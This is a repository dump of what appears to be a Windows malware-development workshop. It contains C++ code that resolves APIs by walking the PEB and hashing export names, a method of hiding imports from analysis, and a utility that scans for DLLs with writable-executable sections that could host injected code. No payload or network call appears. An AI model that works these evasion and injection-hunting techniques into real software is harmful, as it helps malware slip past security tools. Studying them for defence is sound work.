DebugView++!\n"); return 0; } ``` ## /setup/setup.vcxproj ```vcxproj path="/setup/setup.vcxproj" Debug Win32 Release Win32 Debug x64 Release x64 17.0 Win32Proj {fdb0947d-3cf4-48a9-b74d-45fa83b5949e} setup 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true true true ``` ## /setup/setup.vcxproj.filters ```filters path="/setup/setup.vcxproj.filters" {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Header Files ``` ## /setup/setup.vcxproj.user ```user path="/setup/setup.vcxproj.user" ``` ## /slides.pdf Binary file available at https://raw.githubusercontent.com/rad9800/PMD/refs/heads/main/slides.pdf ## /solution/apis.hpp ```hpp path="/solution/apis.hpp" #pragma once #include #include #include #define TOKENIZEA(x) #x #define TOKENIZEW(x) L#x #define CONCAT(x, y) x##y //////////////////////////////////////////////////////////////// // Helpers //////////////////////////////////////////////////////////////// template concept Hashable = std::is_trivial_v; template concept CharOrWChar = std::is_same_v || std::is_same_v; template constexpr T to_uppercase(T c) { if (c >= 'a' && c <= 'z') { return c - 32; } return c; } template T rva2_va(void* base, const unsigned long rva) { return reinterpret_cast(reinterpret_cast(base) + rva); } //////////////////////////////////////////////////////////////// // Hashing Algorithm //////////////////////////////////////////////////////////////// template constexpr auto hash_string_fnv1a(const T* buffer) { ULONG hash = 0x811c9dc5; while (*buffer) { T c{}; if constexpr (Uppercase) { c = to_uppercase(*buffer); } else { c = *buffer; } hash ^= c; hash *= 0x01000193; ++buffer; } return hash; } //////////////////////////////////////////////////////////////// // Hashing Macros //////////////////////////////////////////////////////////////// #define HASHING_ALGORITHM hash_string_fnv1a #define HASH_STRINGA(string) HASHING_ALGORITHM(TOKENIZEA(string)) #define HASH_STRINGW(string) HASHING_ALGORITHM(TOKENIZEW(string)) #define HASH_STRINGA(string) HASHING_ALGORITHM(TOKENIZEA(string)) #define HASH_STRINGW(string) HASHING_ALGORITHM(TOKENIZEW(string)) #define DEFINE_HASH_STRINGA(string) \ constexpr auto CONCAT(hash__, string) = HASH_STRINGA(string); \ static_assert(CONCAT(hash__, string) == HASH_STRINGA(string), "Must be evaluated at compile time"); #define DEFINE_HASH_STRINGW(string) \ constexpr auto CONCAT(hash__, string) = HASH_STRINGW(string); \ static_assert(CONCAT(hash__, string) == HASH_STRINGW(string), "Must be evaluated at compile time"); #define DEFINE_FUNCTION(function) typedef decltype(&function) CONCAT(type__, function); #define HASHED_FUNCTION(function) DEFINE_HASH_STRINGA(function) DEFINE_FUNCTION(function) #define API(function, dll) \ reinterpret_cast( \ get_proc_address_hash(CONCAT(hash__, function), CONCAT(hash__, dll)) \ ) #define DLL_NAME(dll) L#dll L".DLL" #define DEFINE_DLL(dll) constexpr auto CONCAT(hash__, dll) = HASHING_ALGORITHM(DLL_NAME(dll)); //////////////////////////////////////////////////////////////// // UPDATE ME WITH FUNCTIONS/LIBRARIES TO USE //////////////////////////////////////////////////////////////// HASHED_FUNCTION(GetProcAddress) // Required. HASHED_FUNCTION(LoadLibraryW) DEFINE_DLL(NTDLL) DEFINE_DLL(KERNEL32) // UPDATE WITH DLLS REQUIRED AT RUNTIME static constexpr const wchar_t* required_dlls[] = { L"NTDLL.DLL", L"KERNEL32.DLL", }; //////////////////////////////////////////////////////////////// // API Resolution //////////////////////////////////////////////////////////////// template FORCEINLINE PVOID get_module_handle(const T target_hash) { const LIST_ENTRY* head = &NtCurrentTeb()->ProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList; LIST_ENTRY* next = head->Flink; while (next != head) { const auto entry = CONTAINING_RECORD(next, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); const auto dll_name = reinterpret_cast( reinterpret_cast(&entry->FullDllName) + sizeof(UNICODE_STRING) ); auto dll_name_buffer = reinterpret_cast(dll_name->Buffer); auto dll_name_hash = HASHING_ALGORITHM(dll_name_buffer); if (dll_name_hash == target_hash) { return entry->DllBase; } next = next->Flink; } return nullptr; } template FORCEINLINE void* get_proc_address_hash(T function_hash, T library_hash) { // 1. Get the DLL handle from the library hash auto dll_base = get_module_handle(library_hash); if (!dll_base) [[unlikely]] return nullptr; // 2. Get the function address from the function hash const auto dos = static_cast(dll_base); const auto nt = rva2_va(dll_base, dos->e_lfanew); const auto exports = rva2_va( dll_base, nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ); const auto optional = &nt->OptionalHeader; if (exports->AddressOfNames == 0) [[unlikely]] return nullptr; const auto ordinals = rva2_va(dll_base, exports->AddressOfNameOrdinals); const auto names = rva2_va(dll_base, exports->AddressOfNames); const auto functions = rva2_va(dll_base, exports->AddressOfFunctions); for (DWORD i = 0; i < exports->NumberOfNames; i++) { const auto name = rva2_va(dll_base, names[i]); const auto hash = HASHING_ALGORITHM(name); if (hash == function_hash) { PVOID function_address = rva2_va(dll_base, functions[ordinals[i]]); // 3. Handle forwarded functions const auto optional_start = rva2_va(dll_base, optional->DataDirectory[0].VirtualAddress); const auto optional_end = rva2_va(optional_start, optional->DataDirectory[0].Size); if (function_address >= optional_start && function_address < optional_end) { function_address = (void*)API(GetProcAddress, KERNEL32)(static_cast(dll_base), name); } return function_address; } } return nullptr; } BOOL initialize_api_hashing() { auto status = false; for (auto& dll : required_dlls) { auto addr = API(LoadLibraryW, KERNEL32)(dll); if (status = addr; !status) [[unlikely]] return status; } return status; } ``` ## /solution/common.hpp ```hpp path="/solution/common.hpp" #pragma once #include #include #ifdef NDEBUG void DPRINT(LPCWSTR str, auto... args) { } #else void DPRINT(LPCWSTR str, auto... args) { { wchar_t buf[512]{0}; int len = wsprintfW(buf, str, args...); if (len >= 0) { OutputDebugStringW(buf); } } } #endif ``` ## /solution/entry.cpp ```cpp path="/solution/entry.cpp" #include "common.hpp" #include "apis.hpp" #pragma comment(linker, "/ENTRY:entry") int entry(const PPEB peb) { auto status = initialize_api_hashing(); return 0; } ``` ## /solution/solution.vcxproj ```vcxproj path="/solution/solution.vcxproj" Debug Win32 Release Win32 Debug x64 Release x64 17.0 Win32Proj {a70305ab-3bdf-4308-9328-f99e986e4b87} solution 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 false Default Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 MultiThreaded false Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 false Default Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 MultiThreaded false false ProgramDatabase Console true true false ``` ## /solution/solution.vcxproj.filters ```filters path="/solution/solution.vcxproj.filters" {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Header Files Header Files ``` ## /solution/solution.vcxproj.user ```user path="/solution/solution.vcxproj.user" ``` ## /template/entry.cpp ```cpp path="/template/entry.cpp" #include int main() { MessageBoxW(nullptr, L"Hello, World!", L"Hello, World!", MB_OK); typedef decltype(&MessageBoxW) type_MessageBoxW; auto func_MessageBoxW = reinterpret_cast(GetProcAddress(LoadLibraryW(L"USER32.DLL"), "MessageBoxW")); func_MessageBoxW(nullptr, L"Hello, World!", L"Hello, World!", MB_OK); return 0; } ``` ## /template/template.vcxproj ```vcxproj path="/template/template.vcxproj" Debug Win32 Release Win32 Debug x64 Release x64 17.0 Win32Proj {f6f72715-9e04-49da-a8f1-066457baba20} template 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true true true ``` ## /template/template.vcxproj.filters ```filters path="/template/template.vcxproj.filters" {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files ``` ## /template/template.vcxproj.user ```user path="/template/template.vcxproj.user" ``` ## /utility/entry.cpp ```cpp path="/utility/entry.cpp" #include #include #include template T rva2_va(void* base, const unsigned long rva) { return reinterpret_cast(reinterpret_cast(base) + rva); } static bool ends_with(const wchar_t* string, const wchar_t* suffix) { if (string == nullptr || suffix == nullptr) return false; const size_t str_len = wcslen(string); const size_t suffix_len = wcslen(suffix); if (suffix_len > str_len) return true; return wcscmp(string + str_len - suffix_len, suffix) == 0; } template void file_finder(const wchar_t* dir_root, const wchar_t* file_ext, callback file_callback) { wchar_t* current_path = NULL; WIN32_FIND_DATAW find_data = {}; HANDLE find_file = INVALID_HANDLE_VALUE; current_path = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 32768 * sizeof(wchar_t)); if (current_path == NULL) return; (void)lstrcpyW(current_path, dir_root); (void)lstrcatW(current_path, L"\\*"); find_file = FindFirstFileW(current_path, &find_data); if (find_file == INVALID_HANDLE_VALUE) goto cleanup; do { if (!lstrcmpW(find_data.cFileName, L".") || !lstrcmpW(find_data.cFileName, L"..")) continue; (void)lstrcpyW(current_path, dir_root); (void)lstrcatW(current_path, L"\\"); (void)lstrcatW(current_path, find_data.cFileName); if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) file_finder(current_path, file_ext, file_callback); else if (ends_with(find_data.cFileName, file_ext)) file_callback(current_path); } while (FindNextFileW(find_file, &find_data)); cleanup: if (current_path != NULL) { (void)HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, current_path); } if (find_file != INVALID_HANDLE_VALUE) { (void)FindClose(find_file); } } int main() { file_finder( L"C:", L".dll", [](const wchar_t* file_path) { HANDLE dll_handle = INVALID_HANDLE_VALUE; HANDLE dll_mapping = INVALID_HANDLE_VALUE; HANDLE mapped_dll_base = INVALID_HANDLE_VALUE; PIMAGE_DOS_HEADER dos_header = NULL; PIMAGE_NT_HEADERS nt_headers = NULL; PIMAGE_SECTION_HEADER section_header = NULL; dll_handle = CreateFileW(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (dll_handle == INVALID_HANDLE_VALUE) goto cleanup; dll_mapping = CreateFileMappingA(dll_handle, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); if (dll_mapping == nullptr) goto cleanup; mapped_dll_base = MapViewOfFile(dll_mapping, FILE_MAP_READ, 0, 0, 0); if (mapped_dll_base == NULL) goto cleanup; dos_header = (PIMAGE_DOS_HEADER)mapped_dll_base; if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) goto cleanup; nt_headers = rva2_va(mapped_dll_base, dos_header->e_lfanew); if (nt_headers->Signature != IMAGE_NT_SIGNATURE) goto cleanup; section_header = IMAGE_FIRST_SECTION(nt_headers); for (int j = 0; j < nt_headers->FileHeader.NumberOfSections; j++, section_header++) { if (section_header->Characteristics & IMAGE_SCN_MEM_EXECUTE && section_header->Characteristics & IMAGE_SCN_MEM_READ && section_header->Characteristics & IMAGE_SCN_MEM_WRITE) { printf("%s - 0x%x bytes\t%S\n", section_header->Name, section_header->SizeOfRawData, file_path); break; } } cleanup: if (dll_handle) CloseHandle(dll_handle); if (dll_mapping) CloseHandle(dll_mapping); if (mapped_dll_base) UnmapViewOfFile(mapped_dll_base); } ); } ``` ## /utility/utility.vcxproj ```vcxproj path="/utility/utility.vcxproj" Debug Win32 Release Win32 Debug x64 Release x64 17.0 Win32Proj {2e4c4e6d-0993-43b5-a100-9eaf0b8f9d44} utility 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true true true ``` ## /utility/utility.vcxproj.filters ```filters path="/utility/utility.vcxproj.filters" {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files ``` ## /utility/utility.vcxproj.user ```user path="/utility/utility.vcxproj.user" ``` The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.